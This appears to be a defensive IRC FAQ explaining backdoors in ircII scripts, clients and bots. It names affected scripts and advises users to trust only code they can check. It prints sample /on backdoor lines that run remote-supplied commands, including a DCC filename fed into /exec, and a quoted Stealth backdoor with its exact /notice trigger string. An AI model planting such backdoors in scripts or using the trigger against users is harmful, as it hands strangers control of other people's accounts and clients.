Bugs and Backdoors in IRC clients, scripts and bots

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  1. What is a backdoor?

A backdoor is a feature of a program that can be used to make it act in

some way that the person who is running it did not intend.

Among IRC-related programs, bots, clients and scripts can have

backdoors.

An important point to note is that some backdoors are intentional and

some are not; with ircII scripts specifically, the problem is that

ircII is not a very clear programming language when it comes to

evaluation, and neither is sh/csh (used in all the /EXECs), and it’s

easy for someone who doesn’t really understand what he’s doing to put

unwanted backdoors. In clients and bots, which are usually written in

C, the bugs or backdoors tend to be harder to find and exploit.

The line between an unintended backdoor and a bug is rather thin, I’d

call it a backdoor if it can be used to make the bot do somethign

specific, and just a bug if it can be used only to make the client or

bot disconnect (ping timeout, or excess flood).

  1. How dangerous can a backdoor be?

A backdoor can be more or less “powerful”, according to how much

access to your client’s features and/or account it gives to an intruder.

In the worst cases, a backdoor will let an intruder execute arbitrary

commands on the machine your client or bot is running, allowing full

access to your account. This can in turn allow an intruder to compromise

your whole system’s security, by cracking passwords or otherwise. They

can also make you send mail, post to Usenet, etc. I will call this

giving Unix access.

In other cases, the backdoor will let the intruder control your IRC

client, making it do all IRC-related things like joining channels,

speaking in them, or signing off, or /killing if you’re an IRCop. I will

call this giving IRC access.

And in some cases, the backdoor will only let them do some specific

things. The most common case is when the backdoor only lets an intruder

disconnect you from IRC.

Typically, unintended backdoors and bugs will either give full Unix and

IRC access, or just let anyone kill the client.

  1. What known scripts, clients and bots have backdoors?

Off the top of my head (I’ve SEEN all of these, and some of them I’ve

found myself) :

  • iNFiNiTY, toolZ, UltBox (and probably other related scripts) have a

    backdoor (very likely unintended) that gives full Unix access to

    anyone.

  • early versions of GargOyle have an intended backdoor (supposedly

    stolen from some other script) that gives Unix and IRC access to

    anyone.

  • some versions of PhoEniX have an unintended backdoor that let people

    make you signoff

  • Pillow Fighter II has an intended backdoor that gives Unix and IRC

    access to anyone.

  • Stealth has at least 2 intended backdoors, one of which gives

    Unix and IRC access to anyone, and the other one that lets people

    make you signoff.

  • Some (old) versions of Axis have a backdoor that give on specific

    person Unix and IRC access, and another one that makes you give him

    ops. Recent versions supposedly don’t have it; I haven’t checked

    them.

  • Some (hacked?) versions of the VeVeS script have an intended

    backdoor that gives Unix and IRC access to anyone.

  • IrcOP.irc is a trojan horse script (i.e. it does NOTHING useful for

    you) which removes all your files, opens your account to anyone,

    and makes you do obnoxious stuff on IRC.

  • Some (hacked?) versions of the ComBot bot have an intended backdoor

    that gives IRC access to anyone.

  • eggdrop bots, if improperly configured, can give Unix access to

    to anyone with bot-master privileges.

  • All VladBots, ComBot, HackBots, Kn1ghtBots, DweebBots, StelBots and

    similar bots can be killed (segmentation fault, bus error, or ping

    timeout, according to specific details), with more or less

    difficulty (and without flooding them).

  • Some hacked old version of ircII 2.2.9 have a backdoor that gives

    anyone Unix and IRC access. This one was the object of a CERT

    advisory.

  • Old versions of ircII (prior to 2.3.x-beta) have a bug in the

    filtering of escape sequences that lets anyone with ops on a

    channel where you are to mess up your screen.

  • Old versions of ircII (prior to 2.6) have a bug in DCC handling

    that lets someone make you ping timeout once you have a DCC

    connection with them.

This is by no means a comprehensive list; there are tons of scripts out

there and I don’t spend my time skimming them all. In particular I’ve

never looked closely at TextBox or LiCe, and I know of no-one who has,

so I wouldn’t trust them either.

  1. How does a backdoor work?

In ircII, backdoors are typically /on statements like these:

1 - /on ^ctcp “% % BACKDOOR *” $3-

2 - /on ^notice “% BACKDOOR *” $2-

3 - /on ^ctcp “% % BACKDOOR *” quote $3-

4 - /on ^ctcp “% % DCC SEND % *” exec -name stuff ls $5

5 - /on -notice “% STUFF*” eval ^assign blah $3-

1 and #2 are obviously intended, and give anyone IRC and Unix

(by sending EXEC commands) access.

3 is obviously intended too, and gives IRC access only.

4 looks like an unintended bug, but still gives full Unix access

to anyone (beware, this can be made safe by $strip()ing lots of

characters, but is a potentially dangerous thing to do. Did you

know that ^ is interpreted like | by SunOS /bin/sh’s?).

With #5, the problem is the eval, but once again, since ircII lets

you execute the contents of variables without an eval, looking for

all the evals and all the /on’s and all the /exec’s is not a safe

way to be sure a script is backdoor-free.

Finally, a real example of a backdoor, for the most skeptical; this

is taken straight out of the Stealth script:

alias qwrrw {

/echo [^BFate^B] You have been killed

/signoff I’m a dork, and I am sorry for disturbing you all. I’ll leave now}

on ^notice “% 53764^B^B856324^B^B32fd563gf^Vds5rx^B^Bfdtsr5ss54” {/qwrrw}

So if someone is running Stealth, all you have to do is

/notice nickname 53764^B^B856324^B^B32fd563gf^Vds5rx^B^Bfdtsr5ss54

and they signoff.

And I’d like to see anyone arguing that this was not intended…

  1. How can I avoid backdoors?

It all comes to a simple fact: IRC is full of people who cannot be

trusted, and running (/load’ing) a script (or a bot) that someone sent

you is akin to putting a lot of trust in this person, AND in all the

people who have had this script between the original author and whoever

sent it to you. You don’t only need to trust that the person doesn’t

mean to harm you, but also that the person can check and make sure

that they aren’t going to.

War scripts like Serpent and Phoenix and TextBox and LiCe are the least

trustable for a number of reasons:

  • Someone who writes a script (or puts his name at the top of a bunch

    of stolen routines) that can be disruptive to the net is obviously

    not someone who is interested in doing people a favor. Trusting

    their code is really the thing not to do.

  • These scripts tend to be very big (200k is no uncommon…) and

    thus are a pain to check. I have looked at some in enough detail

    to find backdoors, but you need to look a lot more carefully

    to be able to say that there are none left. Definitely not for

    the casual user.

  • They are often distributed from one to another, instead of getting

    them from some “official” place. This means that any one with a

    minimum knowledge of ircII scripting can add 2 lines in the middle

    of Phoenix, increase the version number, and send it around.

The scripts I would personally trust:

zer0 - I’ve written it myself, so I know there are no backdoors,

  I'm reasonably sure there are no exploitable bugs, and


  it's small enough for anyone to check in a reasonable


  time.


  You can get it from


  http://www.eleves.ens.fr:8080/home/espel/index.html.

Deturbo - Written by DeadelviS.

SuperPak - Written by TG; get version 3.2, not Barron’s version

  (numbered 5.4).

All of these can be found in ftp://isr0954.urh.uiuc.edu/pub/irc/scripts


You can send any additional comments to:

orabidoo roger.espel.llima@ens.fr

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